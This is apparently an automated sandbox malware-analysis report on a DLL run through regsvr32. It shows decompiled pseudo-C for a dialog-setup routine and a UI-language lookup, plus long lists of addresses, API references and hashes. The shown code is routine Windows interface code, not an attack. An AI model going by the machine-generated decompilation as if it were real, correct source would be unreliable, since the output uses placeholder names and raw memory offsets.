				_push( *((intOrPtr*)(_t234 + 0xc)));
				if( *((intOrPtr*)( *__ecx + 0xf0))() == 0) {
					goto L39;
				}
				goto L2;
			}

0x6eb4e423
0x6eb4e423
0x6eb4e42a
0x6eb4e42f
0x6eb4e433
0x6eb4e436
0x6eb4e43d
0x6eb4e440
0x6eb4e449
0x6eb4e46d
0x6eb4e470
0x6eb4e49c
0x6eb4e49f
0x6eb4e4a2
0x6eb4e4af
0x6eb4e4af
0x6eb4e4b4
0x6eb4e4b7
0x6eb4e4cd
0x6eb4e4cd
0x6eb4e4d0
0x6eb4e4d2
0x6eb4e521
0x6eb4e525
0x6eb4e532
0x6eb4e535
0x6eb4e53b
0x6eb4e546
0x6eb4e54c
0x6eb4e54f
0x6eb4e551
0x6eb4e581
0x6eb4e581
0x6eb4e584
0x6eb4e58a
0x6eb4e58c
0x6eb4e61b
0x6eb4e61b
0x6eb4e61e
0x00000000
0x00000000
0x6eb4e594
0x6eb4e59b
0x6eb4e59d
0x6eb4e59f
0x6eb4e5e3
0x6eb4e5e8
0x6eb4e606
0x6eb4e60b
0x6eb4e60d
0x6eb4e60f
0x00000000
0x00000000
0x6eb4e5f1
0x6eb4e5f3
0x6eb4e9af
0x6eb4e9b2
0x6eb4e9b7
0x6eb4e9b7
0x6eb4e9ba
0x6eb4e9ba
0x6eb4e9bb
0x6eb4e9bb
0x6eb4e9be
0x6eb4e9c0
0x6eb4e9c2
0x6eb4e9c2
0x00000000
0x6eb4e9c2
0x6eb4e5f9
0x6eb4e5fb
0x6eb4e5fd
0x6eb4e602
0x6eb4e602
0x6eb4e605
0x6eb4e605
0x6eb4e611
0x6eb4e614
0x6eb4e616
0x6eb4e618
0x00000000
0x6eb4e618
0x6eb4e5a1
0x6eb4e5a4
0x6eb4e5a7
0x6eb4e5ac
0x6eb4e5af
0x6eb4e5b1
0x00000000
0x00000000
0x6eb4e5b6
0x6eb4e5bc
0x6eb4e5c1
0x6eb4e5ca
0x6eb4e5cd
0x6eb4e5d0
0x00000000
0x00000000
0x6eb4e5d6
0x00000000
0x6eb4e661
0x00000000
0x00000000
0x6eb4e66b
0x00000000
0x00000000
0x6eb4e685
0x6eb4e687
0x6eb4e687
0x6eb4e68a
0x6eb4e68b
0x6eb4e68e
0x6eb4e692
0x00000000
0x00000000
0x6eb4e6a1
0x6eb4e6a5
0x00000000
0x00000000
0x6eb4e6ac
0x6eb4e662
0x6eb4e662
0x6eb4e664
0x00000000
0x00000000
0x6eb4e6af
0x6eb4e6b7
0x6eb4e6ba
0x6eb4e6bd
0x6eb4e6c1
0x6eb4e6c4
0x6eb4e6c9
0x6eb4e6cb
0x6eb4e6cf
0x6eb4e6d3
0x6eb4e6d6
0x6eb4e6db
0x6eb4e6dd
0x6eb4e6df
0x6eb4e6e2
0x6eb4e6e4
0x6eb4e6e9
0x6eb4e6ec
0x6eb4e6f1
0x6eb4e6f3
0x6eb4e6f5
0x6eb4e6f5
0x6eb4e6f3
0x6eb4e6f8
0x6eb4e6f8
0x6eb4e6fb
0x6eb4e6fc
0x6eb4e6fd
0x6eb4e700
0x6eb4e701
0x6eb4e703
0x6eb4e705
0x6eb4e709
0x6eb4e709
0x6eb4e709
0x6eb4e70d
0x6eb4e710
0x6eb4e713
0x6eb4e717
0x00000000
0x00000000
0x6eb4e72d
0x6eb4e735
0x6eb4e738
0x6eb4e73b
0x6eb4e73e
0x6eb4e741
0x6eb4e742
0x6eb4e744
0x6eb4e748
0x6eb4e74a
0x6eb4e74e
0x6eb4e71c
0x6eb4e71c
0x6eb4e71f
0x6eb4e723
0x00000000
0x00000000
0x6eb4e753
0x6eb4e756
0x6eb4e756
0x6eb4e759
0x6eb4e75b
0x00000000
0x00000000
0x6eb4e76d
0x6eb4e770
0x6eb4e771
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb4e780
0x6eb4e781
0x6eb4e784
0x6eb4e760
0x6eb4e760
0x6eb4e761
0x6eb4e697
0x6eb4e697
0x6eb4e698
0x6eb4e69a
0x00000000
0x00000000
0x6eb4e99f
0x00000000
0x00000000
0x6eb4e789
0x00000000
0x00000000
0x6eb4e795
0x6eb4e797
0x00000000
0x00000000
0x6eb4e79e
0x6eb4e7a1
0x6eb4e7a1
0x6eb4e7a4
0x6eb4e7a5
0x00000000
0x00000000
0x6eb4e7b5
0x6eb4e7b6
0x00000000
0x00000000
0x6eb4e7bb
0x6eb4e7bd
0x6eb4e7bd
0x6eb4e7c0
0x6eb4e7c1
0x00000000
0x00000000
0x6eb4e67a
0x00000000
0x00000000
0x6eb4e670
0x6eb4e672
0x00000000
0x00000000
0x6eb4e7d9
0x6eb4e7e0
0x6eb4e7e1
0x6eb4e7e3
0x6eb4e7e6
0x6eb4e7e6
0x6eb4e7e6
0x00000000
0x00000000
0x6eb4e7ef
0x00000000
0x00000000
0x6eb4e7fa
0x00000000
0x00000000
0x6eb4e803
0x6eb4e807
0x6eb4e808
0x6eb4e80b
0x6eb4e80f
0x00000000
0x00000000
0x6eb4e816
0x00000000
0x00000000
0x6eb4e820
0x6eb4e819
0x6eb4e819
0x6eb4e7f4
0x6eb4e7f4
0x00000000
0x00000000
0x6eb4e823
0x6eb4e825
0x6eb4e825
0x6eb4e828
0x6eb4e829
0x00000000
0x00000000
0x6eb4e837
0x6eb4e83a
0x6eb4e83d
0x6eb4e840
0x6eb4e82c
0x6eb4e82c
0x6eb4e830
0x00000000
0x00000000
0x6eb4e843
0x6eb4e847
0x00000000
0x00000000
0x6eb4e851
0x6eb4e854
0x6eb4e854
0x6eb4e857
0x6eb4e859
0x00000000
0x00000000
0x6eb4e865
0x6eb4e868
0x6eb4e86b
0x6eb4e86e
0x6eb4e871
0x6eb4e874
0x6eb4e877
0x6eb4e87a
0x6eb4e88e
0x6eb4e88f
0x00000000
0x6eb4e88f
0x6eb4e882
0x6eb4e883
0x6eb4e886
0x00000000
0x00000000
0x6eb4e895
0x6eb4e78c
0x6eb4e78c
0x6eb4e78e
0x00000000
0x00000000
0x6eb4e89b
0x6eb4e89c
0x6eb4e89f
0x6eb4e8a1
0x00000000
0x00000000
0x6eb4e649
0x6eb4e64c
0x6eb4e64f
0x6eb4e652
0x6eb4e653
0x6eb4e653
0x00000000
0x00000000
0x6eb4e8a8
0x6eb4e8ab
0x6eb4e8ac
0x6eb4e85e
0x6eb4e85e
0x6eb4e85f
0x6eb4e7e9
0x6eb4e7e9
0x00000000
0x00000000
0x6eb4e8b1
0x6eb4e8b4
0x6eb4e8b7
0x6eb4e8ba
0x6eb4e7c4
0x6eb4e7c4
0x6eb4e7c5
0x6eb4e7c8
0x6eb4e7c8
0x6eb4e7ca
0x00000000
0x00000000
0x6eb4e8c0
0x6eb4e8c3
0x6eb4e8c6
0x6eb4e8c9
0x6eb4e8ca
0x6eb4e8ce
0x6eb4e8d1
0x6eb4e8d2
0x6eb4e8d6
0x6eb4e8d7
0x6eb4e8d9
0x6eb4e8db
0x6eb4e48f
0x6eb4e48f
0x6eb4e491
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb4e8e3
0x6eb4e8e6
0x6eb4e8e9
0x6eb4e8ec
0x6eb4e8ed
0x6eb4e8f1
0x6eb4e8f4
0x6eb4e8f5
0x6eb4e8f9
0x6eb4e8fa
0x6eb4e8fc
0x00000000
0x00000000
0x00000000
0x00000000
0x6eb4e903
0x6eb4e905
0x6eb4e907
0x6eb4e90a
0x6eb4e90c
0x00000000
0x00000000
0x6eb4e633
0x6eb4e633
0x6eb4e63a
0x6eb4e63f
0x6eb4e63f
0x00000000
0x00000000
0x6eb4e918
0x6eb4e67f
0x6eb4e67f
0x6eb4e9a0
0x6eb4e9a0
0x00000000
0x00000000
0x6eb4e928
0x00000000
0x00000000
0x6eb4e92e
0x6eb4e932
0x00000000
0x00000000
0x6eb4e93c
0x6eb4e93f
0x6eb4e940
0x6eb4e942
0x6eb4e945
0x6eb4e947
0x6eb4e94d
0x6eb4e94e
0x6eb4e94e
0x6eb4e953
0x6eb4e957
0x00000000
0x00000000
0x6eb4e966
0x6eb4e96a
0x6eb4e7a9
0x6eb4e7a9
0x6eb4e9a3
0x6eb4e9a3
0x6eb4e9a5
0x00000000
0x00000000
0x6eb4e970
0x6eb4e973
0x6eb4e976
0x6eb4e979
0x6eb4e97a
0x6eb4e97e
0x6eb4e981
0x6eb4e982
0x6eb4e95c
0x6eb4e95c
0x00000000
0x00000000
0x6eb4e988
0x6eb4e98b
0x6eb4e98e
0x6eb4e991
0x6eb4e992
0x6eb4e996
0x6eb4e999
0x6eb4e99a
0x6eb4e95d
0x6eb4e95d
0x6eb4e95f
0x00000000
0x00000000
0x6eb4e5d6
0x6eb4e624
0x6eb4e627
0x6eb4e627
0x6eb4e627
0x6eb4e62e
0x00000000
0x6eb4e62e
0x6eb4e556
0x6eb4e558
0x6eb4e55b
0x00000000
0x00000000
0x6eb4e55d
0x6eb4e563
0x6eb4e566
0x6eb4e56b
0x6eb4e56d
0x00000000
0x00000000
0x6eb4e573
0x6eb4e57a
0x00000000
0x00000000
0x00000000
0x6eb4e57c
0x6eb4e4d4
0x6eb4e4d8
0x00000000
0x00000000
0x6eb4e4da
0x6eb4e4e0
0x6eb4e4ea
0x6eb4e4ea
0x6eb4e4f0
0x6eb4e4fa
0x6eb4e500
0x6eb4e503
0x00000000
0x00000000
0x6eb4e505
0x6eb4e513
0x6eb4e519
0x6eb4e51b
0x00000000
0x00000000
0x00000000
0x6eb4e51b
0x6eb4e4f2
0x6eb4e4f8
0x00000000
0x00000000
0x00000000
0x6eb4e4f8
0x6eb4e4e2
0x6eb4e4e8
0x00000000
0x00000000
0x00000000
0x6eb4e4b9
0x6eb4e4c4
0x6eb4e4c9
0x6eb4e4cb
0x6eb4e461
0x6eb4e461
0x6eb4e9c5
0x6eb4e9c5
0x6eb4e9ca
0x6eb4e9cf
0x6eb4e9cf
0x6eb4e9d1
0x6eb4e9d8
0x6eb4e9df
0x6eb4e641
0x6eb4e646
0x6eb4e646
0x00000000
0x6eb4e4cb
0x6eb4e4b7
0x6eb4e472
0x6eb4e475
0x6eb4e477
0x00000000
0x00000000
0x6eb4e482
0x6eb4e483
0x6eb4e484
0x6eb4e489
0x00000000
0x6eb4e489
0x6eb4e44b
0x6eb4e450
0x6eb4e45b
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog3.LIBCMT ref: 6EB4E42A

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 11f1b3353c3ba18dbb319d185e5e90e11664e2fa926ac0c35429b36816808e07
Instruction ID: aa5cba39b80b46f96b0a1e69c25dfa854925d3f8e401ca424601228d7b885384
Opcode Fuzzy Hash: 11f1b3353c3ba18dbb319d185e5e90e11664e2fa926ac0c35429b36816808e07
Instruction Fuzzy Hash: DBF18170510199EFEB44DFD9C880AAE7FB9EF09314F008519F9159F299DB34DA01EB61

Uniqueness

Uniqueness Score: -1.00%

Function 6EB45CD0 Relevance: 51.1, APIs: 25, Strings: 4, Instructions: 328
windowCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB45CD0(void* __ecx, void* __edx, void* __eflags, long _a28, struct HWND__* _a52) {
				int _v8;
				char _v16;
				CHAR* _v40;
				CHAR* _v48;
				struct tagPOINT _v120;
				intOrPtr _v128;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t72;
				struct HMENU__** _t142;
				intOrPtr* _t146;
				void* _t152;
				void* _t153;
				void* _t196;
				struct HMENU__* _t210;
				void* _t215;
				void* _t217;
				void* _t218;
				void* _t219;
				void* _t220;
				void* _t221;
				void* _t222;
				CHAR* _t224;
				void* _t225;
				signed int _t232;
				void* _t235;
				struct HMENU__** _t237;

				_t235 = __eflags;
				_t196 = __edx;
				_t156 = __ecx;
				_push(0xffffffff);
				_push(0x6eb78878);
				_push( *[fs:0x0]);
				_push(_t152);
				_push(_t225);
				_push(_t217);
				_t72 =  *0x6eb89470; // 0x6287ae78
				_push(_t72 ^ (_t232 & 0xfffffff8) - 0x0000001c);
				 *[fs:0x0] =  &_v16;
				_t215 = __ecx;
				E6EB52DEE(__ecx, __ecx);
				_t153 = E6EB53E65(_t152, _t156, _t215, _t217, _t235, GetSystemMenu( *(_t215 + 0x20), 0));
				if(_t153 != 0) {
					_t142 = E6EB4838C();
					_t237 = _t142;
					_t190 = 0 | _t237 == 0x00000000;
					if(_t237 == 0) {
						_t142 = L6EB41000(_t190, _t196, 0x80004005);
					}
					_t210 =  *_t142;
					_t6 =  *((intOrPtr*)( *((intOrPtr*)(_t210 + 0xc))))() + 0x10; // 0x10
					_t224 = _t6;
					_v40 = _t224;
					_push(0x65);
					_v8 = 0;
					if(E6EB53471() != 0) {
						E6EB46870(_t153,  &_v40, _t215, _t224, _t225, _t145, 0x65);
						_t224 = _v48;
					}
					if( *((intOrPtr*)(_t224 - 0xc)) != 0) {
						AppendMenuA( *(_t153 + 4), 0x800, 0, 0);
						_t210 =  *(_t153 + 4);
						AppendMenuA(_t210, 0, 0x10, _t224);
					}
					_t14 = _t224 - 0x10; // 0x0
					_t146 = _t14;
					_v8 = 0xffffffff;
					asm("lock xadd [ecx], edx");
					if((_t210 | 0xffffffff) - 1 <= 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t146)) + 4))))(_t146);
					}
				}
				SendMessageA( *(_t215 + 0x20), 0x80, 1,  *(_t215 + 0x358));
				SendMessageA( *(_t215 + 0x20), 0x80, 0,  *(_t215 + 0x358));
				_t218 = _t215 + 0x148;
				E6EB49F80(_t218, 0, 0xff, 0);
				SendMessageA( *(_t218 + 0x20), 0x405, 1, 0x80);
				E6EB412C0( *(_t218 + 0x20), _t218);
				 *((intOrPtr*)(_t218 + 0x80)) = E6EB4F53F(_t215, 0x3ed);
				_a52 =  *(_t218 + 0x20);
				E6EB4F6CB(_t85, 5);
				SendMessageA( *(_t218 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t218 + 0x20), _t218);
				E6EB46B40(0x5b5be3, _t218);
				SendMessageA( *(_t215 + 0x168), 0x414, 0x10, 0);
				SendMessageA( *(_t215 + 0x168), 0x415, 0, 0x20);
				_t219 = _t215 + 0x250;
				E6EB49F80(_t219, 0, 0xff, 0);
				SendMessageA( *(_t219 + 0x20), 0x405, 1, 0x80);
				E6EB412C0( *(_t219 + 0x20), _t219);
				 *((intOrPtr*)(_t219 + 0x80)) = E6EB4F53F(_t215, 0x3ee);
				_a52 =  *(_t219 + 0x20);
				E6EB4F6CB(_t97, 5);
				SendMessageA( *(_t219 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t219 + 0x20), _t219);
				E6EB46B40(0x5be35b, _t219);
				SendMessageA( *(_t215 + 0x270), 0x414, 0x10, 0);
				SendMessageA( *(_t215 + 0x270), 0x415, 0, 0x20);
				_t220 = _t215 + 0x2d4;
				E6EB49F80(_t220, 0, 0xff, 0);
				SendMessageA( *(_t220 + 0x20), 0x405, 1, 0x80);
				E6EB412C0( *(_t220 + 0x20), _t220);
				 *((intOrPtr*)(_t220 + 0x80)) = E6EB4F53F(_t215, 0x3ef);
				_a52 =  *(_t220 + 0x20);
				E6EB4F6CB(_t109, 5);
				SendMessageA( *(_t220 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t220 + 0x20), _t220);
				E6EB46B40(0xe35b5b, _t220);
				SendMessageA( *(_t215 + 0x2f4), 0x414, 0x10, 0);
				SendMessageA( *(_t215 + 0x2f4), 0x415, 0, 0x20);
				_t221 = _t215 + 0x1cc;
				E6EB49F80(_t221, 0, 0xf0, 0);
				SendMessageA( *(_t221 + 0x20), 0x405, 1, 0x78);
				E6EB412C0( *(_t221 + 0x20), _t221);
				 *((intOrPtr*)(_t221 + 0x80)) = E6EB4F53F(_t215, 0x3f0);
				_a52 =  *(_t221 + 0x20);
				E6EB4F6CB(_t121, 5);
				SendMessageA( *(_t221 + 0x20), 0x420, 0, _a28);
				E6EB412C0( *(_t221 + 0x20), _t221);
				E6EB46B40(0xc0c0c0, _t221);
				SendMessageA( *(_t215 + 0x1ec), 0x414, 0xc, 0);
				SendMessageA( *(_t215 + 0x1ec), 0x415, 0, 0x18);
				_t222 = E6EB4F53F(_t215, 0x3e8);
				GetClientRect( *(_t222 + 0x20),  &_v120);
				MapWindowPoints( *(_t222 + 0x20),  *(_t215 + 0x20),  &_v120, 2);
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t215 + 0x7c)) + 0x54))))(0, "Spectrum", 0x50000000,  &_v120, _t215, 0x1245, 0);
				SendMessageA( *(_t222 + 0x20), 0x10, 0, 0);
				PostMessageA( *(_t215 + 0x20), 0x115, 0,  *(_t215 + 0x168));
				 *[fs:0x0] = _v128;
				return 1;
			}

0x6eb45cd0
0x6eb45cd0
0x6eb45cd0
0x6eb45cd6
0x6eb45cd8
0x6eb45ce3
0x6eb45ce7
0x6eb45ce8
0x6eb45ce9
0x6eb45ceb
0x6eb45cf2
0x6eb45cf7
0x6eb45cfd
0x6eb45cff
0x6eb45d16
0x6eb45d1a
0x6eb45d20
0x6eb45d27
0x6eb45d29
0x6eb45d2e
0x6eb45d35
0x6eb45d35
0x6eb45d3a
0x6eb45d43
0x6eb45d43
0x6eb45d46
0x6eb45d4a
0x6eb45d4c
0x6eb45d5b
0x6eb45d64
0x6eb45d69
0x6eb45d69
0x6eb45d71
0x6eb45d86
0x6eb45d88
0x6eb45d91
0x6eb45d91
0x6eb45d93
0x6eb45d93
0x6eb45d96
0x6eb45da4
0x6eb45dab
0x6eb45db5
0x6eb45db5
0x6eb45dab
0x6eb45dcf
0x6eb45de3
0x6eb45dec
0x6eb45df6
0x6eb45e0b
0x6eb45e0d
0x6eb45e23
0x6eb45e2d
0x6eb45e30
0x6eb45e44
0x6eb45e46
0x6eb45e50
0x6eb45e65
0x6eb45e77
0x6eb45e80
0x6eb45e8a
0x6eb45e9f
0x6eb45ea1
0x6eb45eb7
0x6eb45ebd
0x6eb45ec4
0x6eb45ed8
0x6eb45eda
0x6eb45ee4
0x6eb45ef9
0x6eb45f0b
0x6eb45f14
0x6eb45f1e
0x6eb45f33
0x6eb45f35
0x6eb45f4b
0x6eb45f55
0x6eb45f58
0x6eb45f6c
0x6eb45f6e
0x6eb45f78
0x6eb45f8d
0x6eb45f9f
0x6eb45fa8
0x6eb45fb2
0x6eb45fc4
0x6eb45fc6
0x6eb45fdc
0x6eb45fe6
0x6eb45fe9
0x6eb45ffd
0x6eb45fff
0x6eb46009
0x6eb4601e
0x6eb46030
0x6eb4603e
0x6eb46049
0x6eb4605e
0x6eb46086
0x6eb46092
0x6eb460a6
0x6eb460b5
0x6eb460c4

APIs

GetSystemMenu.USER32(?,00000000,6287AE78), ref: 6EB45D0A
AppendMenuA.USER32 ref: 6EB45D86
AppendMenuA.USER32 ref: 6EB45D91
SendMessageA.USER32 ref: 6EB45DCF
SendMessageA.USER32 ref: 6EB45DE3
SendMessageA.USER32 ref: 6EB45E0B
SendMessageA.USER32 ref: 6EB45E44
SendMessageA.USER32 ref: 6EB45E65
SendMessageA.USER32 ref: 6EB45E77
SendMessageA.USER32 ref: 6EB45E9F
SendMessageA.USER32 ref: 6EB45ED8
SendMessageA.USER32 ref: 6EB45EF9
SendMessageA.USER32 ref: 6EB45F0B
SendMessageA.USER32 ref: 6EB45F33
SendMessageA.USER32 ref: 6EB45F6C
SendMessageA.USER32 ref: 6EB45F8D
SendMessageA.USER32 ref: 6EB45F9F
SendMessageA.USER32 ref: 6EB45FC4

Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41303
Part of subcall function 6EB412C0: SendMessageA.USER32 ref: 6EB41314

Part of subcall function 6EB4F53F: GetDlgItem.USER32 ref: 6EB4F550

Part of subcall function 6EB4F6CB: ShowWindow.USER32(?,?), ref: 6EB4F6DC

SendMessageA.USER32 ref: 6EB45FFD

Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,000001F4,00000001), ref: 6EB46B83
Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFF2E,00000001), ref: 6EB46B90
Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFEB3,00000001), ref: 6EB46B9D
Part of subcall function 6EB46B40: ColorAdjustLuma.SHLWAPI(005B5BE3,FFFFFE0C,00000001), ref: 6EB46BAA
Part of subcall function 6EB46B40: CreateSolidBrush.GDI32(005B5BE3), ref: 6EB46BBF
Part of subcall function 6EB46B40: CreateBitmap.GDI32(00000008,00000008,00000001,00000001,?), ref: 6EB46C2A
Part of subcall function 6EB46B40: CreateBrushIndirect.GDI32(00000003), ref: 6EB46C60

SendMessageA.USER32 ref: 6EB4601E
SendMessageA.USER32 ref: 6EB46030
GetClientRect.USER32 ref: 6EB46049
MapWindowPoints.USER32 ref: 6EB4605E
SendMessageA.USER32 ref: 6EB46092
PostMessageA.USER32(?,00000115,00000000,?), ref: 6EB460A6

Strings

[[, xrefs: 6EB45F73
Spectrum, xrefs: 6EB4607F
[[, xrefs: 6EB45EDF
[[, xrefs: 6EB45E4B

Memory Dump Source

Source File: 00000002.00000002.260912257.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000002.00000002.260754400.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261635067.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261861022.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261911637.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.261924825.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Message$Send$AdjustColorLuma$CreateMenu$AppendBrushWindow$BitmapClientIndirectItemPointsPostRectShowSolidSystem
String ID: Spectrum$[[$[[$[[
API String ID: 2261454407-2031012944
Opcode ID: e1c1ef1090df87fbfbe5bea072e74029ceee9fd1ec0264234715168c3be04161
Instruction ID: 73c41df5729a1558f5bd62318f09f060b55f7df688e15f48cb8305b8d75a0ae3
Opcode Fuzzy Hash: e1c1ef1090df87fbfbe5bea072e74029ceee9fd1ec0264234715168c3be04161
Instruction Fuzzy Hash: 67B1A771340745BBE614DBB4CC86FAEB799BB88B04F104A18F745AB2C5DBB4F8019798

Uniqueness

Uniqueness Score: -1.00%

Function 6EB507D6 Relevance: 31.7, APIs: 14, Strings: 4, Instructions: 158
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6EB507D6(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t61;
				_Unknown_base(*)()* _t62;
				struct HINSTANCE__* _t63;
				struct HINSTANCE__* _t76;
				unsigned int _t79;
				signed short _t87;
				unsigned int _t88;
				_Unknown_base(*)()* _t95;
				signed short _t97;
				unsigned int _t98;
				signed int _t106;
				signed int _t118;
				signed int _t127;
				void* _t130;

				_push(0x15c);
				E6EB66564(0x6eb776e6, __ebx, __edi, __esi);
				 *((intOrPtr*)(_t130 - 0x124)) =  *((intOrPtr*)(_t130 + 8));
				_t123 = 0;
				 *((intOrPtr*)(_t130 - 0x130)) =  *((intOrPtr*)(_t130 + 0xc));
				 *(_t130 - 0x120) = 0;
				 *(_t130 - 0x11c) = 0;
				_t61 = GetModuleHandleA("kernel32.dll");
				_t106 = GetProcAddress;
				 *(_t130 - 0x134) = _t61;
				_t62 = GetProcAddress(_t61, "GetUserDefaultUILanguage");
				if(_t62 == 0) {
					_t63 = GetModuleHandleA("ntdll.dll");
					if(_t63 != 0) {
						 *(_t130 - 0x120) = 0;
						EnumResourceLanguagesA(_t63, 0x10, 1, E6EB5009A, _t130 - 0x120);
						if( *(_t130 - 0x120) != 0) {
							_t79 =  *(_t130 - 0x120) & 0x0000ffff;
							_t123 = _t79 & 0x3ff;
							 *((intOrPtr*)(_t130 - 0x148)) = ConvertDefaultLocale(_t79 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t123);
							 *((intOrPtr*)(_t130 - 0x144)) = ConvertDefaultLocale(_t123);
							 *(_t130 - 0x11c) = 2;
						}
					}
				} else {
					_t87 =  *_t62() & 0x0000ffff;
					 *(_t130 - 0x120) = _t87;
					_t88 = _t87 & 0x0000ffff;
					_t123 = 0x3ff;
					_t118 = _t88 & 0x3ff;
					 *(_t130 - 0x11c) = _t118;
					 *((intOrPtr*)(_t130 - 0x148)) = ConvertDefaultLocale(_t88 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t118);
					 *((intOrPtr*)(_t130 - 0x144)) = ConvertDefaultLocale( *(_t130 - 0x11c));
					 *(_t130 - 0x11c) = 2;
					_t95 = GetProcAddress( *(_t130 - 0x134), "GetSystemDefaultUILanguage");
					if(_t95 != 0) {
						_t97 =  *_t95() & 0x0000ffff;
						 *(_t130 - 0x120) = _t97;
						_t98 = _t97 & 0x0000ffff;
						_t123 = _t98 & 0x3ff;
						 *((intOrPtr*)(_t130 - 0x140)) = ConvertDefaultLocale(_t98 >> 0x0000000a << 0x0000000a & 0x0000ffff | _t123);
						 *((intOrPtr*)(_t130 - 0x13c)) = ConvertDefaultLocale(_t123);
						 *(_t130 - 0x11c) = 4;
					}
				}
				 *(_t130 - 0x11c) =  &(1[ *(_t130 - 0x11c)]);
				 *((intOrPtr*)(_t130 +  *(_t130 - 0x11c) * 4 - 0x148)) = 0x800;
				_t126 = 0x6eb40000;
				 *((char*)(_t130 - 0x13)) = 0;
				 *((char*)(_t130 - 0x14)) = 0;
				if(GetModuleFileNameA(0x6eb40000, _t130 - 0x118, 0x105) != 0) {
					_t123 = 0x20;
					_t106 = 0;
					E6EB65E80(_t123, _t130 - 0x168, 0, _t123);
					 *(_t130 - 0x168) = _t123;
					 *((intOrPtr*)(_t130 - 0x160)) = _t130 - 0x118;
					 *((intOrPtr*)(_t130 - 0x154)) = 0x3e8;
					 *(_t130 - 0x14c) = 0x6eb40000;
					 *((intOrPtr*)(_t130 - 0x164)) = 0x88;
					E6EB500B4(_t130 - 0x12c, 0xffffffff);
					 *(_t130 - 4) = 0;
					if(L6EB5016B(_t130 - 0x12c, _t130 - 0x168) != 0) {
						L6EB501A5(_t130 - 0x12c);
					}
					_t127 = 0;
					if( *(_t130 - 0x11c) <= _t106) {
						L13:
						_t126 = 0;
						goto L15;
					} else {
						while(1) {
							_t76 = E6EB505A6( *((intOrPtr*)(_t130 - 0x124)),  *((intOrPtr*)(_t130 - 0x130)), _t123,  *((intOrPtr*)(_t130 + _t127 * 4 - 0x148)));
							if(_t76 != _t106) {
								_t126 = _t76;
								break;
							}
							_t127 =  &(1[_t127]);
							if(_t127 <  *(_t130 - 0x11c)) {
								continue;
							}
							goto L13;
						}
						L15:
						 *(_t130 - 4) =  *(_t130 - 4) | 0xffffffff;
						E6EB50678(_t130 - 0x12c);
						goto L7;
					}
				}
				L7:
				return E6EB665E7(_t106, _t123, _t126);
			}

0x6eb507d6
0x6eb507e0
0x6eb507ee
0x6eb507f7
0x6eb507fe
0x6eb50804
0x6eb5080a
0x6eb50810
0x6eb50812
0x6eb5081e
0x6eb50824
0x6eb50828
0x6eb508d8
0x6eb508dc
0x6eb508ef
0x6eb508f5
0x6eb50902
0x6eb50904
0x6eb5091f
0x6eb5092b
0x6eb50933
0x6eb50939
0x6eb50939
0x6eb50902
0x6eb5082e
0x6eb50836
0x6eb50839
0x6eb5083f
0x6eb50847
0x6eb50851
0x6eb5085a
0x6eb50868
0x6eb5087b
0x6eb50881
0x6eb5088b
0x6eb5088f
0x6eb50897
0x6eb5089a
0x6eb508a0
0x6eb508ad
0x6eb508b9
0x6eb508c1
0x6eb508c7
0x6eb508c7
0x6eb5088f
0x6eb50949
0x6eb5094f
0x6eb50966
0x6eb5096c
0x6eb50970
0x6eb5097c
0x6eb50988
0x6eb5098a
0x6eb50994
0x6eb509aa
0x6eb509b0
0x6eb509b6
0x6eb509c0
0x6eb509c6
0x6eb509d0
0x6eb509e2
0x6eb509ec
0x6eb509f4
0x6eb509f4
0x6eb509f9
0x6eb50a01
0x6eb50a29
0x6eb50a29
0x00000000
0x6eb50a03
0x6eb50a03
0x6eb50a16
0x6eb50a1e
0x6eb50a2d
0x6eb50a2d
0x6eb50a2d
0x6eb50a20
0x6eb50a27
0x00000000
0x00000000
0x00000000
0x6eb50a27
0x6eb50a2f
0x6eb50a2f
0x6eb50a39
0x00000000
0x6eb50a3e
0x6eb50a01
0x6eb5097e
0x6eb50983

APIs

__EH_prolog3_GS.LIBCMT ref: 6EB507E0
GetModuleHandleA.KERNEL32(kernel32.dll,0000015C,6EB50AA7,?,?), ref: 6EB50810
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 6EB50824
ConvertDefaultLocale.KERNEL32(?), ref: 6EB50860
